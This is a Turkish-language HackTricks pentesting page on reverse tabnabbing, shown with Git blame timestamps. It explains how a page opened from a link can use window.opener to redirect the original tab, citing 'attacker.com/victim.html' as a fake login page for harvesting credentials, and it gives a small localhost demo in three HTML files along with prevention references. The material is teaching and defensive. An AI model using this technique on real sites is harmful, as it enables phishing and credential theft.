hacktricks/pentesting-web/reverse-tab-nabbing.md

117 lines
6.6 KiB
Markdown
Raw Permalink Normal View History

{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricks'i Destekleyin</summary>
2022-04-28 16:01:33 +00:00
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
# Açıklama
2021-05-01 15:23:19 +00:00
Bir **saldırganın**, bir mağdur tarafından tıklanacak olan **`<a`** etiketinin **`href`** argümanını **kontrol edebildiği** bir durumda, **saldırgan** bu **bağlantıyı** kontrolü altındaki bir web sitesine (bir **kötü niyetli** **web sitesi**) yönlendirebilir. Daha sonra, **mağdur bağlantıya tıkladığında** ve saldırganın web sitesine eriştiğinde, bu **kötü niyetli** **web sitesi**, javascript nesnesi **`window.opener`** aracılığıyla **orijinal** **sayfayı** **kontrol edebilir**.\
Eğer sayfa **`rel="opener"`** içermiyorsa ama **`target="_blank"`** içeriyorsa ve **`rel="noopener"`** içermiyorsa, bu da savunmasız olabilir.
2021-05-01 15:23:19 +00:00
Bu davranışı kötüye kullanmanın yaygın bir yolu, **orijinal webin konumunu** `window.opener.location = https://attacker.com/victim.html` ile saldırganın kontrolündeki ve **orijinaline benzeyen** bir web sitesine değiştirmektir, böylece **orijinal web sitesinin** **giriş** **formunu** **taklit edebilir** ve kullanıcıdan kimlik bilgilerini isteyebilir.
2021-05-01 15:23:19 +00:00
Ancak, **saldırgan artık orijinal web sitesinin pencere nesnesini kontrol edebildiğinden**, bunu başka şekillerde kötüye kullanabilir ve **gizli saldırılar** gerçekleştirebilir (belki javascript olaylarını değiştirerek kendisine ait bir sunucuya bilgi sızdırmak?).
2021-05-01 15:23:19 +00:00
2024-02-10 18:14:16 +00:00
# Genel Bakış
2021-05-01 15:23:19 +00:00
2024-02-10 18:14:16 +00:00
## Geri bağlantı ile
2021-05-01 15:23:19 +00:00
Önleme özelliği kullanılmadığında ana ve alt sayfalar arasındaki bağlantı:
2021-05-01 15:23:19 +00:00
2024-02-06 03:10:38 +00:00
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
2021-05-01 15:23:19 +00:00
2024-02-10 18:14:16 +00:00
## Geri bağlantı olmadan
2021-05-01 15:23:19 +00:00
Önleme özelliği kullanıldığında ana ve alt sayfalar arasındaki bağlantı:
2021-05-01 15:23:19 +00:00
2024-02-06 03:10:38 +00:00
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
2021-05-01 15:23:19 +00:00
2024-02-10 18:14:16 +00:00
## Örnekler <a href="#examples" id="examples"></a>
2021-05-01 15:23:19 +00:00
Aşağıdaki sayfaları bir klasörde oluşturun ve `python3 -m http.server` ile bir web sunucusu çalıştırın.\
Sonra, **erişim sağlayın** `http://127.0.0.1:8000/`vulnerable.html, **bağlantıya tıklayın** ve **orijinal** **web sitesinin** **URL'sinin** **nasıl değiştiğini** not edin.
2021-05-01 15:23:19 +00:00
{% code title="vulnerable.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
{% endcode %}
{% code title="malicious.html" %}
2021-05-01 15:23:19 +00:00
```markup
<!DOCTYPE html>
<html>
2024-02-10 18:14:16 +00:00
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
2021-05-01 15:23:19 +00:00
</html>
```
{% endcode %}
{% code title="malicious_redir.html" %}
2021-05-01 15:23:19 +00:00
```markup
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
{% endcode %}
2024-02-10 18:14:16 +00:00
## Erişilebilir özellikler <a href="#accessible-properties" id="accessible-properties"></a>
2021-05-01 15:23:19 +00:00
**Farklı kökenler** arasında bir erişim gerçekleştiğinde (farklı alanlar arasında erişim), kötü niyetli bir sitenin erişebileceği **opener** JavaScript nesne referansı ile belirtilen **window** JavaScript sınıf örneğinin özellikleri aşağıdaki ile sınırlıdır:
2021-05-01 15:23:19 +00:00
- **`opener.closed`**: Bu özellik, bir pencerenin kapatılıp kapatılmadığını belirlemek için erişilir ve bir boolean değeri döner.
- **`opener.frames`**: Bu özellik, mevcut penceredeki tüm iframe öğelerine erişim sağlar.
- **`opener.length`**: Mevcut pencerede bulunan iframe öğelerinin sayısını döner.
- **`opener.opener`**: Bu özellik aracılığıyla mevcut pencereyi açan pencerenin referansı elde edilebilir.
- **`opener.parent`**: Bu özellik, mevcut pencerenin üst pencere referansını döner.
2024-02-10 18:14:16 +00:00
- **`opener.self`**: Bu özellik, mevcut pencereye erişim sağlar.
- **`opener.top`**: Bu özellik, en üstteki tarayıcı penceresini döner.
2021-05-01 15:23:19 +00:00
Ancak, alanlar aynı olduğunda, kötü niyetli site, [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript nesne referansı tarafından açığa çıkarılan tüm özelliklere erişim kazanır.
2021-05-01 15:23:19 +00:00
2024-02-10 18:14:16 +00:00
# Önleme
2021-05-01 15:23:19 +00:00
Önleme bilgileri [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing) belgesinde belgelenmiştir.
2021-05-01 15:23:19 +00:00
2024-02-10 18:14:16 +00:00
## Referanslar
2021-05-01 15:23:19 +00:00
2024-02-06 03:10:38 +00:00
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
2021-05-01 15:23:19 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}